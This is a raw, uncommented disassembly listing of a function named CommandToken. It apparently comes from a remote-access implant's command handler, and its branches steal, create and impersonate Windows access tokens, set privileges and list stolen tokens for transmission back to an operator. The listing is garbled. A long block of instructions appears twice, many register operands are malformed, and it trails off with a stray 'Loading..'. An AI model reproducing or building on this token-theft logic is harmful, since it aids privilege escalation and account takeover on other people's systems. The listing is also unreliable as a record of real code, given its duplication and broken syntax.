14000ee58mov rcx, rbx
14000ee5bmov rdx, [0x30]
14000ee64mov r9, [rdx+64]
14000ee68mov [rsp+48], r13
14000ee6dmov rdx, r12
14000ee70mov [rsp+40], rax
14000ee75mov [rsp+32], rbp
14000ee7acall TokenAdd
14000ee7fmov ecx, eax
14000ee81call ImpersonateTokenFromVault
14000ee86mov r9, r12
14000ee89mov r8l, 1530
14000ee8flea rdx, [rip+0x1dbda]
14000ee96lea rcx, [rip+0x17ec3]
14000ee9dcall printf
14000eea2mov rcx, [rsp+64]
14000eea7mov rdx, r12
14000eeaacall PackageAddWString
14000eeafjmp 0x14000f1b0
14000eeb4mov rcx, rsi
14000eeb7lea r9, [rip+0x17ec5]
14000eebemov r8l, 1539
14000eec4lea rdx, [rip+0x1dba5]
14000eecbcall printf
14000eed0xor r9l, r9l
14000eed3mov [rsp+104], r9
14000eed8mov [rsp+112], r9
14000eeddcall TokenCurrentHandle
14000eee2mov rsi, rax
14000eee5test rax, rax
14000eee8je 0x14000ef5d
14000eeeamov rcx, rax
14000eeedcall TokenElevated
14000eef2mov rcx, [rsp+64]
14000eef7mov edx, eax
14000eef9call PackageAddInt32
14000eefexor r8l, r8l
14000ef01lea rdx, [rsp+104]
14000ef06mov rcx, rsi
14000ef09call TokenQueryOwner
14000ef0etest eax, eax
14000ef10je 0x14000ef44
14000ef12mov eax, [rsp+112]
14000ef16mov r9, [rsp+104]
14000ef1bmov r8l, 1552
14000ef21lea rdx, [rip+0x1db48]
14000ef28lea rcx, [rip+0x17e62]
14000ef2fmov [rsp+32], eax
14000ef33call printf
14000ef38mov r8l, [rsp+112]
14000ef3dmov rdx, [rsp+104]
14000ef42jmp 0x14000ef49
14000ef44
14000ef44loc_14000ef44:
14000ef44xor r8l, r8l
14000ef47xor edx, edx
14000ef49
14000ef49loc_14000ef49:
14000ef49mov rcx, [rsp+64]
14000ef4ecall PackageAddBytes
14000ef53mov rcx, rsi
14000ef56call SysNtClose
14000ef5bjmp 0x14000ef78
14000ef5d
14000ef5dloc_14000ef5d:
14000ef5dmov rax, [rip+0x1d40c]
14000ef64mov ecx, 1
14000ef69mov rax, [rax+2230]
14000ef70mov edx, [rax+104]
14000ef73call PackageTransmitError
14000ef78
14000ef78loc_14000ef78:
14000ef78mov rdi, [rsp+104]
14000ef7dtest rdi, rdi
14000ef80je 0x14000f1b0
14000ef86mov ecx, [rsp+112]
14000ef8axor eax, eax
14000ef8crep stosb [rdi], al
14000ef8emov rax, [rip+0x1d3db]
14000ef95mov r8, [rsp+104]
14000ef9amov rdx, [rax+2230]
14000efa1mov rdx, [rdx+96]
14000efa5mov rcx, [rdx+48]
14000efa9xor edx, edx
14000efabcall [rax+332]
14000efb1jmp 0x14000f1b0
14000efb6mov rcx, rsi
14000efb9lea r9, [rip+0x17df4]
14000efc0mov r8l, 1579
14000efc6lea rdx, [rip+0x1daa3]
14000efcdcall printf
14000efd2call TokenRevSelf
14000efd7mov rcx, [rsp+64]
14000efdcmov esi, eax
14000efdemov edx, eax
14000efe0call PackageAddInt32
14000efe5test esi, esi
14000efe7mov rsi, [rip+0x1d382]
14000efeejne 0x14000f004
14000eff0mov rax, [rsi+2230]
14000eff7mov ecx, 1
14000effcmov edx, [rax+104]
14000efffcall PackageTransmitError
14000f004
14000f004loc_14000f004:
14000f004xor ecx, ecx
14000f006xor r8l, r8l
14000f009mov [rsi+2282], rcx
14000f010mov [rsi+2290], r8l
14000f017jmp 0x14000f1b0
14000f01clea r9, [rip+0x17d9f]
14000f023mov r8l, 1594
14000f029lea rdx, [rip+0x1da40]
14000f030mov rcx, rsi
14000f033call printf
14000f038mov rcx, rdi
14000f03bcall ParserGetInt32
14000f040mov ecx, eax
14000f042mov esi, eax
14000f044call TokenRemove
14000f049mov rcx, [rsp+64]
14000f04emov edx, eax
14000f050call PackageAddInt32
14000f055mov edx, esi
14000f057
14000f057loc_14000f057:
14000f057mov rcx, [rsp+64]
14000f05ccall PackageAddInt32
14000f061jmp 0x14000f1b0
14000f066lea r9, [rip+0x17d63]
14000f06dmov r8l, 1604
14000f073lea rdx, [rip+0x1d9f6]
14000f07amov rcx, rsi
14000f07dcall printf
14000f082call TokenClear
14000f087jmp 0x14000f1b0
14000f08cmov rcx, rsi
14000f08flea r9, [rip+0x17d47]
14000f096mov r8l, 1612
14000f09clea rdx, [rip+0x1d9cd]
14000f0a3call printf
14000f0a8xor edx, edx
14000f0aaxor eax, eax
14000f0aclea rcx, [rsp+104]
14000f0b1mov [rsp+100], edx
14000f0b5lea rdx, [rsp+100]
14000f0bamov [rsp+104], rax
14000f0bfcall ListTokens
14000f0c4mov rcx, [rsp+64]
14000f0c9mov esi, eax
14000f0cbmov edx, eax
14000f0cdcall PackageAddInt32
14000f0d2test esi, esi
14000f0d4jne 0x14000f10a
14000f0d6
14000f0d6loc_14000f0d6:
14000f0d6mov rdi, [rsp+104]
14000f0dbtest rdi, rdi
14000f0deje 0x14000f1b0
14000f0e4mov ecx, [rsp+100]
14000f0e8xor eax, eax
14000f0eaimul rcx, rcx, 1056
14000f0f1rep stosb [rdi], al
14000f0f3mov rax, [rip+0x1d276]
14000f0famov rcx, [rsp+104]
14000f0ffcall [rax+940]
14000f105jmp 0x14000f1b0
14000f10a
14000f10aloc_14000f10a:
14000f10amov edx, [rsp+100]
14000f10emov rcx, [rsp+64]
14000f113xor edi, edi
14000f115call PackageAddInt32
14000f11a
14000f11aloc_14000f11a:
14000f11amov rdx, [rsp+104]
14000f11fcmp edi, [rsp+100]
14000f123jae 0x14000f0d6
14000f125mov esi, edi
14000f127mov rcx, [rsp+64]
14000f12cinc edi
14000f12eimul rsi, rsi, 1056
14000f135add rdx, rsi
14000f138call PackageAddWString
14000f13dmov rax, [rsp+104]
14000f142mov rcx, [rsp+64]
14000f147mov edx, [rax+rsi+1024]
14000f14ecall PackageAddInt32
14000f153mov rax, [rsp+104]
14000f158mov rcx, [rsp+64]
14000f15dmov edx, [rax+rsi+1032]
14000f164call PackageAddInt32
14000f169mov rax, [rsp+104]
14000f16emov rcx, [rsp+64]
14000f173mov edx, [rax+rsi+1040]
14000f17acall PackageAddInt32
14000f17fmov rax, [rsp+104]
14000f184mov rcx, [rsp+64]
14000f189mov edx, [rax+rsi+1044]
14000f190call PackageAddInt32
14000f195mov rax, [rsp+104]
14000f19amov rcx, [rsp+64]
14000f19fmov edx, [rax+rsi+1048]
14000f1a6call PackageAddInt32
14000f1abjmp 0x14000f11a
14000f1b0
14000f1b0loc_14000f1b0:
14000f1b0mov rcx, [rsp+64]
14000f1b5add rsp, 376
14000f1bcpop rbx
14000f1bdpop rsi
14000f1bepop rdi
14000f1bfpop rbp
14000f1c0pop r12
14000f1c2pop r13
14000f1c4pop r14
14000f1c6pop r15
14000f1c8jmp 0x140018b90
14000e810
14000e810CommandToken:
14000e810push r15
14000e812push r14
14000e814push r13
14000e816push r12
14000e818push rbp
14000e819push rdi
14000e81amov rdi, rcx
14000e81dmov ecx, 40
14000e822push rsi
14000e823push rbx
14000e824sub rsp, 376
14000e82bcall PackageCreate
14000e830mov rcx, rdi
14000e833mov [rsp+64], rax
14000e838call ParserGetInt32
14000e83dmov r8l, 1323
14000e843lea rdx, [rip+0x1e226]
14000e84alea rcx, [rip+0x18328]
14000e851mov r9l, eax
14000e854mov esi, eax
14000e856call printf
14000e85bmov rcx, [rsp+64]
14000e860mov edx, esi
14000e862dec esi
14000e864call PackageAddInt32
14000e869cmp esi, 9
14000e86cja 0x14000f1b0
14000e872lea rdx, [rip+0x18573]
14000e879movsxd rax, [rdx+4*rsi]
14000e87dlea rsi, [rip+0x17784]
14000e884add rax, rdx
14000e887jmp rax
14000e889lea r9, [rip+0x18308]
14000e890mov r8l, 1328
14000e896lea rdx, [rip+0x1e1d3]
14000e89dmov rcx, rsi
14000e8a0call printf
14000e8a5mov rcx, rdi
14000e8a8call ParserGetInt32
14000e8admov ecx, eax
14000e8afcall TokenGet
14000e8b4mov rdi, rax
14000e8b7test rax, rax
14000e8baje 0x14000e8d9
14000e8bcmov rcx, rax
14000e8bfcall ImpersonateTokenInStore
14000e8c4mov rcx, [rsp+64]
14000e8c9mov edx, eax
14000e8cbcall PackageAddInt32
14000e8d0mov rdx, [rdi+8]
14000e8d4jmp 0x14000eccd
14000e8d9
14000e8d9loc_14000e8d9:
14000e8d9lea r9, [rip+0x182cb]
14000e8e0mov r8l, 1342
14000e8e6lea rdx, [rip+0x1e183]
14000e8edmov rcx, rsi
14000e8f0call printf
14000e8f5mov edx, 1
14000e8famov ecx, 3
14000e8ffcall PackageTransmitError
14000e904mov rcx, [rsp+64]
14000e909xor edx, edx
14000e90bcall PackageAddInt32
14000e910xor edx, edx
14000e912jmp 0x14000f057
14000e917lea r9, [rip+0x182a7]
14000e91emov r8l, 1351
14000e924mov rcx, rsi
14000e927xor r12l, r12l
14000e92alea rdx, [rip+0x1e13f]
14000e931call printf
14000e936mov rcx, rdi
14000e939mov [rsp+104], r12
14000e93emov [rsp+112], r12
14000e943call ParserGetInt32
14000e948mov rcx, rdi
14000e94bmov r12l, eax
14000e94ecall ParserGetInt32
14000e953mov ecx, r12l
14000e956movsxd rdx, eax
14000e959call TokenSteal
14000e95elea r9, [rip+0x1826d]
14000e965mov r8l, 1367
14000e96bmov rdi, rax
14000e96etest rax, rax
14000e971je 0x14000e9d5
14000e973xor r8l, r8l
14000e976lea rdx, [rsp+104]
14000e97bmov rcx, rax
14000e97ecall TokenQueryOwner
14000e983lea r9, [rip+0x1826e]
14000e98amov r8l, 1372
14000e990test eax, eax
14000e992je 0x14000e9d5
14000e994xor ebp, ebp
14000e996mov rdx, [rsp+104]
14000e99bmov rcx, rdi
14000e99emov r9l, r12l
14000e9a1mov [rsp+48], rbp
14000e9a6mov r8l, 1
14000e9acmov [rsp+40], rbp
14000e9b1mov [rsp+32], rbp
14000e9b6call TokenAdd
14000e9bbmov ecx, eax
14000e9bdmov edi, eax
14000e9bfcall ImpersonateTokenFromVault
14000e9c4test eax, eax
14000e9c6jne 0x14000e9f8
14000e9c8lea r9, [rip+0x18257]
14000e9cfmov r8l, 1382
14000e9d5
14000e9d5loc_14000e9d5:
14000e9d5mov rcx, rsi
14000e9d8lea rdx, [rip+0x1e091]
14000e9dfcall printf
14000e9e4add rsp, 376
14000e9ebpop rbx
14000e9ecpop rsi
14000e9edpop rdi
14000e9eepop rbp
14000e9efpop r12
14000e9f1pop r13
14000e9f3pop r14
14000e9f5pop r15
14000e9f7ret
14000e9f8
14000e9f8loc_14000e9f8:
14000e9f8mov rax, [rsp+104]
14000e9fdmov r9l, edi
14000ea00mov r8l, 1386
14000ea06lea rdx, [rip+0x1e063]
14000ea0dlea rcx, [rip+0x18232]
14000ea14mov [rsp+32], rax
14000ea19call printf
14000ea1emov r8l, [rsp+112]
14000ea23mov rdx, [rsp+104]
14000ea28mov rcx, [rsp+64]
14000ea2dcall PackageAddBytes
14000ea32mov rcx, [rsp+64]
14000ea37mov edx, edi
14000ea39call PackageAddInt32
14000ea3emov edx, r12l
14000ea41jmp 0x14000f057
14000ea46mov rcx, rsi
14000ea49lea r9, [rip+0x18237]
14000ea50mov r8l, 1395
14000ea56xor edi, edi
14000ea58lea rdx, [rip+0x1e011]
14000ea5flea r13, [rip+0x1822d]
14000ea66call printf
14000ea6bmov r12, [rip+0x1d8fe]
14000ea72mov rsi, [r12+2274]
14000ea7a
14000ea7aloc_14000ea7a:
14000ea7atest rsi, rsi
14000ea7dje 0x14000f1b0
14000ea83mov eax, [rsi+16]
14000ea86mov r9l, edi
14000ea89mov r8l, 1403
14000ea8fmov rcx, r13
14000ea92lea rdx, [rip+0x1dfd7]
14000ea99mov [rsp+48], eax
14000ea9dmov rax, [rsi+8]
14000eaa1mov [rsp+40], rax
14000eaa6mov rax, [rsi]
14000eaa9mov [rsp+32], rax
14000eaaecall printf
14000eab3mov rcx, [rsp+64]
14000eab8mov edx, edi
14000eabacall PackageAddInt32
14000eabfmov edx, [rsi]
14000eac1mov rcx, [rsp+64]
14000eac6call PackageAddInt32
14000eacbmov rdx, [rsi+8]
14000eacfmov rcx, [rsp+64]
14000ead4call PackageAddWString
14000ead9mov edx, [rsi+16]
14000eadcmov rcx, [rsp+64]
14000eae1call PackageAddInt32
14000eae6movsx edx, [rsi+20]
14000eaeamov rcx, [rsp+64]
14000eaefcall PackageAddInt32
14000eaf4mov edx, [r12+2290]
14000eafctest edx, edx
14000eafeje 0x14000eb13
14000eb00mov rax, [r12+2282]
14000eb08xor edx, edx
14000eb0amov rbx, [rsi]
14000eb0dcmp [rax], rbx
14000eb10sete dl
14000eb13
14000eb13loc_14000eb13:
14000eb13mov rcx, [rsp+64]
14000eb18inc edi
14000eb1acall PackageAddInt32
14000eb1fmov rsi, [rsi+48]
14000eb23jmp 0x14000ea7a
14000eb28lea rdx, [rip+0x1df41]
14000eb2flea r9, [rip+0x181a7]
14000eb36mov rcx, rsi
14000eb39xor ebx, ebx
14000eb3bmov r8l, 1422
14000eb41call printf
14000eb46mov rcx, rdi
14000eb49mov [rsp+92], ebx
14000eb4dmov [rsp+96], ebx
14000eb51mov [rsp+100], ebx
14000eb55call ParserGetInt32
14000eb5amov rcx, [rsp+64]
14000eb5fmov r12l, eax
14000eb62mov edx, eax
14000eb64call PackageAddInt32
14000eb69test r12l, r12l
14000eb6cje 0x14000ec85
14000eb72mov rcx, rsi
14000eb75lea r9, [rip+0x18177]
14000eb7cmov r8l, 1436
14000eb82lea rdx, [rip+0x1dee7]
14000eb89lea r13, [rsp+92]
14000eb8ecall printf
14000eb93lea rdi, [rsp+120]
14000eb98call TokenCurrentHandle
14000eb9dxor r9l, r9l
14000eba0xor r8l, r8l
14000eba3mov edx, 3
14000eba8mov rbp, [rip+0x1d7c1]
14000ebafmov rcx, rax
14000ebb2mov [rsp+32], r13
14000ebb7mov r12, rax
14000ebbacall [rbp+1340]
14000ebc0mov eax, [rsp+92]
14000ebc4mov ecx, 64
14000ebc9lea edx, [rax+1]
14000ebccshl rdx, 4
14000ebd0call [rbp+932]
14000ebd6xor r11l, r11l
14000ebd9mov ecx, 61
14000ebdemov rsi, rax
14000ebe1xor eax, eax
14000ebe3mov [rsp+104], r11
14000ebe8mov [rsp+112], r11
14000ebedrep stosd [rdi], eax
14000ebeftest rsi, rsi
14000ebf2je 0x14000f1b0
14000ebf8mov [rsp+32], r13
14000ebfdmov r9l, [rsp+92]
14000ec02mov r8, rsi
14000ec05mov rcx, r12
14000ec08mov edx, 3
14000ec0dcall [rbp+1340]
14000ec13test eax, eax
14000ec15je 0x14000ec2a
14000ec17lea rdi, [rsi+4]
14000ec1bxor r12l, r12l
14000ec1elea r14, [rsp+96]
14000ec23lea r13, [rsp+104]
14000ec28jmp 0x14000ec44
14000ec2a
14000ec2aloc_14000ec2a:
14000ec2amov rdi, rsi
14000ec2dmov ecx, 16
14000ec32xor eax, eax
14000ec34rep stosb [rdi], al
14000ec36mov rcx, rsi
14000ec39call [rbp+940]
14000ec3fjmp 0x14000f1b0
14000ec44
14000ec44loc_14000ec44:
14000ec44cmp r12l, [rsi]
14000ec47jae 0x14000ec2a
14000ec49mov r9, r14
14000ec4cmov r8, r13
14000ec4fmov rdx, rdi
14000ec52xor ecx, ecx
14000ec54mov [rsp+96], 260
14000ec5cinc r12l
14000ec5fadd rdi, 12
14000ec63call [rbp+1556]
14000ec69mov rcx, [rsp+64]
14000ec6emov rdx, r13
14000ec71call PackageAddString
14000ec76mov edx, [rdi-4]
14000ec79mov rcx, [rsp+64]
14000ec7ecall PackageAddInt32
14000ec83jmp 0x14000ec44
14000ec85
14000ec85loc_14000ec85:
14000ec85lea r9, [rip+0x18073]
14000ec8cmov r8l, 1460
14000ec92mov rcx, rsi
14000ec95lea rdx, [rip+0x1ddd4]
14000ec9ccall printf
14000eca1lea rdx, [rsp+100]
14000eca6mov rcx, rdi
14000eca9call ParserGetString
14000ecaemov edx, 1
14000ecb3mov rcx, rax
14000ecb6mov rsi, rax
14000ecb9call TokenSetPrivilege
14000ecbemov rcx, [rsp+64]
14000ecc3mov edx, eax
14000ecc5call PackageAddInt32
14000eccamov rdx, rsi
14000eccd
14000eccdloc_14000eccd:
14000eccdmov rcx, [rsp+64]
14000ecd2call PackageAddString
14000ecd7jmp 0x14000f1b0
14000ecdclea r9, [rip+0x18027]
14000ece3mov r8l, 1477
14000ece9mov rcx, rsi
14000ececlea rdx, [rip+0x1dd7d]
14000ecf3call printf
14000ecf8xor r10l, r10l
14000ecfbmov rcx, rdi
14000ecfelea rdx, [rsp+104]
14000ed03mov [rsp+96], r10l
14000ed08mov [rsp+100], r10l
14000ed0dmov [rsp+104], r10l
14000ed12call ParserGetWString
14000ed17mov rcx, rdi
14000ed1alea rdx, [rsp+96]
14000ed1fmov [rsp+72], rax
14000ed24call ParserGetWString
14000ed29mov rcx, rdi
14000ed2clea rdx, [rsp+100]
14000ed31mov rsi, rax
14000ed34call ParserGetWString
14000ed39mov r12l, [rsp+96]
14000ed3emov [rsp+92], 92
14000ed45mov edi, [rsp+104]
14000ed49mov r14, rax
14000ed4ctest r12l, r12l
14000ed4fje 0x14000f1b0
14000ed55cmp [rsp+100], 0
14000ed5aje 0x14000f1b0
14000ed60test edi, edi
14000ed62je 0x14000f1b0
14000ed68mov [rsp+40], rax
14000ed6dmov r9, [rsp+72]
14000ed72mov r8l, 1496
14000ed78lea rdx, [rip+0x1dcf1]
14000ed7fmov [rsp+32], rsi
14000ed84lea rcx, [rip+0x17f8b]
14000ed8bcall printf
14000ed90mov r8, [rsp+72]
14000ed95mov rdx, r14
14000ed98mov rcx, rsi
14000ed9bcall TokenMake
14000eda0mov rbx, rax
14000eda3test rax, rax
14000eda6je 0x14000f1b0
14000edacmov r15, [rip+0x1d5bd]
14000edb3lea ebp, [r12+rdi+1]
14000edb8mov ecx, 64
14000edbdmov rdx, rbp
14000edc0call [r15+932]
14000edc7mov rcx, rbp
14000edcamov r12, rax
14000edcdmov rdi, rax
14000edd0xor eax, eax
14000edd2rep stosb [rdi], al
14000edd4mov rdx, [rsp+72]
14000edd9mov rcx, r12
14000eddccall StringConcatW
14000ede1lea rdx, [rsp+92]
14000ede6mov rcx, r12
14000ede9call StringConcatW
14000edeemov rdx, rsi
14000edf1mov rcx, r12
14000edf4call StringConcatW
14000edf9mov edx, [rsp+96]
14000edfdmov ecx, 64
14000ee02call [r15+932]
14000ee09mov edx, [rsp+100]
14000ee0dmov ecx, 64
14000ee12mov rbp, rax
14000ee15call [r15+932]
14000ee1cmov rdi, rbp
14000ee1fmov edx, [rsp+104]
14000ee23mov ecx, 64
14000ee28mov r13, rax
14000ee2bcall [r15+932]
14000ee32mov ecx, [rsp+96]
14000ee36mov r8l, 2
14000ee3crep movsb [rdi], [rsi]
14000ee3emov rdi, r13
14000ee41mov rsi, r14
14000ee44mov ecx, [rsp+100]
14000ee48rep movsb [rdi], [rsi]
14000ee4amov rsi, [rsp+72]
14000ee4fmov rdi, rax
14000ee52mov ecx, [rsp+104]
14000ee56rep movsb [rdi], [rsi]
14000ee58mov rcx, rbx
14000ee5bmov rdx, [0x30]
14000ee64mov r9, [rdx+64]
14000ee68mov [rsp+48], r13
14000ee6dmov rdx, r12
14000ee70mov [rsp+40], rax
14000ee75mov [rsp+32], rbp
14000ee7acall TokenAdd
14000ee7fmov ecx, eax
14000ee81call ImpersonateTokenFromVault
14000ee86mov r9, r12
14000ee89mov r8l, 1530
14000ee8flea rdx, [rip+0x1dbda]
14000ee96lea rcx, [rip+0x17ec3]
14000ee9dcall printf
14000eea2mov rcx, [rsp+64]
14000eea7mov rdx, r12
14000eeaacall PackageAddWString
14000eeafjmp 0x14000f1b0
14000eeb4mov rcx, rsi
14000eeb7lea r9, [rip+0x17ec5]
14000eebemov r8l, 1539
14000eec4lea rdx, [rip+0x1dba5]
14000eecbcall printf
14000eed0xor r9l, r9l
14000eed3mov [rsp+104], r9
14000eed8mov [rsp+112], r9
14000eeddcall TokenCurrentHandle
14000eee2mov rsi, rax
14000eee5test rax, rax
14000eee8je 0x14000ef5d
14000eeeamov rcx, rax
14000eeedcall TokenElevated
14000eef2mov rcx, [rsp+64]
14000eef7mov edx, eax
14000eef9call PackageAddInt32
14000eefexor r8l, r8l
14000ef01lea rdx, [rsp+104]
14000ef06mov rcx, rsi
14000ef09call TokenQueryOwner
14000ef0etest eax, eax
14000ef10je 0x14000ef44
14000ef12mov eax, [rsp+112]
14000ef16mov r9, [rsp+104]
14000ef1bmov r8l, 1552
14000ef21lea rdx, [rip+0x1db48]
14000ef28lea rcx, [rip+0x17e62]
14000ef2fmov [rsp+32], eax
14000ef33call printf
14000ef38mov r8l, [rsp+112]
14000ef3dmov rdx, [rsp+104]
14000ef42jmp 0x14000ef49
14000ef44
14000ef44loc_14000ef44:
14000ef44xor r8l, r8l
14000ef47xor edx, edx
14000ef49
14000ef49loc_14000ef49:
14000ef49mov rcx, [rsp+64]
14000ef4ecall PackageAddBytes
14000ef53mov rcx, rsi
14000ef56call SysNtClose
14000ef5bjmp 0x14000ef78
14000ef5d
14000ef5dloc_14000ef5d:
14000ef5dmov rax, [rip+0x1d40c]
14000ef64mov ecx, 1
14000ef69mov rax, [rax+2230]
14000ef70mov edx, [rax+104]
14000ef73call PackageTransmitError
14000ef78
14000ef78loc_14000ef78:
14000ef78mov rdi, [rsp+104]
14000ef7dtest rdi, rdi
14000ef80je 0x14000f1b0
14000ef86mov ecx, [rsp+112]
14000ef8axor eax, eax
14000ef8crep stosb [rdi], al
14000ef8emov rax, [rip+0x1d3db]
14000ef95mov r8, [rsp+104]
14000ef9amov rdx, [rax+2230]
14000efa1mov rdx, [rdx+96]
14000efa5mov rcx, [rdx+48]
14000efa9xor edx, edx
14000efabcall [rax+332]
14000efb1jmp 0x14000f1b0
14000efb6mov rcx, rsi
14000efb9lea r9, [rip+0x17df4]
14000efc0mov r8l, 1579
14000efc6lea rdx, [rip+0x1daa3]
14000efcdcall printf
14000efd2call TokenRevSelf
14000efd7mov rcx, [rsp+64]
14000efdcmov esi, eax
14000efdemov edx, eax
14000efe0call PackageAddInt32
14000efe5test esi, esi
14000efe7mov rsi, [rip+0x1d382]
14000efeejne 0x14000f004
14000eff0mov rax, [rsi+2230]
14000eff7mov ecx, 1
14000effcmov edx, [rax+104]
14000efffcall PackageTransmitError
14000f004
14000f004loc_14000f004:
14000f004xor ecx, ecx
14000f006xor r8l, r8l
14000f009mov [rsi+2282], rcx
14000f010mov [rsi+2290], r8l
14000f017jmp 0x14000f1b0
14000f01clea r9, [rip+0x17d9f]
14000f023mov r8l, 1594
14000f029lea rdx, [rip+0x1da40]
14000f030mov rcx, rsi
14000f033call printf
14000f038mov rcx, rdi
14000f03bcall ParserGetInt32
14000f040mov ecx, eax
14000f042mov esi, eax
14000f044call TokenRemove
14000f049mov rcx, [rsp+64]
14000f04emov edx, eax
14000f050call PackageAddInt32
14000f055mov edx, esi
14000f057
14000f057loc_14000f057:
14000f057mov rcx, [rsp+64]
14000f05ccall PackageAddInt32
14000f061jmp 0x14000f1b0
14000f066lea r9, [rip+0x17d63]
14000f06dmov r8l, 1604
14000f073lea rdx, [rip+0x1d9f6]
14000f07amov rcx, rsi
14000f07dcall printf
14000f082call TokenClear
14000f087jmp 0x14000f1b0
14000f08cmov rcx, rsi
14000f08flea r9, [rip+0x17d47]
14000f096mov r8l, 1612
14000f09clea rdx, [rip+0x1d9cd]
14000f0a3call printf
14000f0a8xor edx, edx
14000f0aaxor eax, eax
14000f0aclea rcx, [rsp+104]
14000f0b1mov [rsp+100], edx
14000f0b5lea rdx, [rsp+100]
14000f0bamov [rsp+104], rax
14000f0bfcall ListTokens
14000f0c4mov rcx, [rsp+64]
14000f0c9mov esi, eax
14000f0cbmov edx, eax
14000f0cdcall PackageAddInt32
14000f0d2test esi, esi
14000f0d4jne 0x14000f10a
14000f0d6
14000f0d6loc_14000f0d6:
14000f0d6mov rdi, [rsp+104]
14000f0dbtest rdi, rdi
14000f0deje 0x14000f1b0
14000f0e4mov ecx, [rsp+100]
14000f0e8xor eax, eax
14000f0eaimul rcx, rcx, 1056
14000f0f1rep stosb [rdi], al
14000f0f3mov rax, [rip+0x1d276]
14000f0famov rcx, [rsp+104]
14000f0ffcall [rax+940]
14000f105jmp 0x14000f1b0
14000f10a
14000f10aloc_14000f10a:
14000f10amov edx, [rsp+100]
14000f10emov rcx, [rsp+64]
14000f113xor edi, edi
14000f115call PackageAddInt32
14000f11a
14000f11aloc_14000f11a:
14000f11amov rdx, [rsp+104]
14000f11fcmp edi, [rsp+100]
14000f123jae 0x14000f0d6
14000f125mov esi, edi
14000f127mov rcx, [rsp+64]
14000f12cinc edi
14000f12eimul rsi, rsi, 1056
14000f135add rdx, rsi
14000f138call PackageAddWString
14000f13dmov rax, [rsp+104]
14000f142mov rcx, [rsp+64]
14000f147mov edx, [rax+rsi+1024]
14000f14ecall PackageAddInt32
14000f153mov rax, [rsp+104]
14000f158mov rcx, [rsp+64]
14000f15dmov edx, [rax+rsi+1032]
14000f164call PackageAddInt32
14000f169mov rax, [rsp+104]
14000f16emov rcx, [rsp+64]
14000f173mov edx, [rax+rsi+1040]
14000f17acall PackageAddInt32
14000f17fmov rax, [rsp+104]
14000f184mov rcx, [rsp+64]
14000f189mov edx, [rax+rsi+1044]
14000f190call PackageAddInt32
14000f195mov rax, [rsp+104]
14000f19amov rcx, [rsp+64]
14000f19fmov edx, [rax+rsi+1048]
14000f1a6call PackageAddInt32
14000f1abjmp 0x14000f11a
14000f1b0
14000f1b0loc_14000f1b0:
14000f1b0mov rcx, [rsp+64]
14000f1b5add rsp, 376
14000f1bcpop rbx
14000f1bdpop rsi
14000f1bepop rdi
14000f1bfpop rbp
14000f1c0pop r12
14000f1c2pop r13
14000f1c4pop r14
14000f1c6pop r15
14000f1c8jmp 0x140018b90
14000e810
Loading..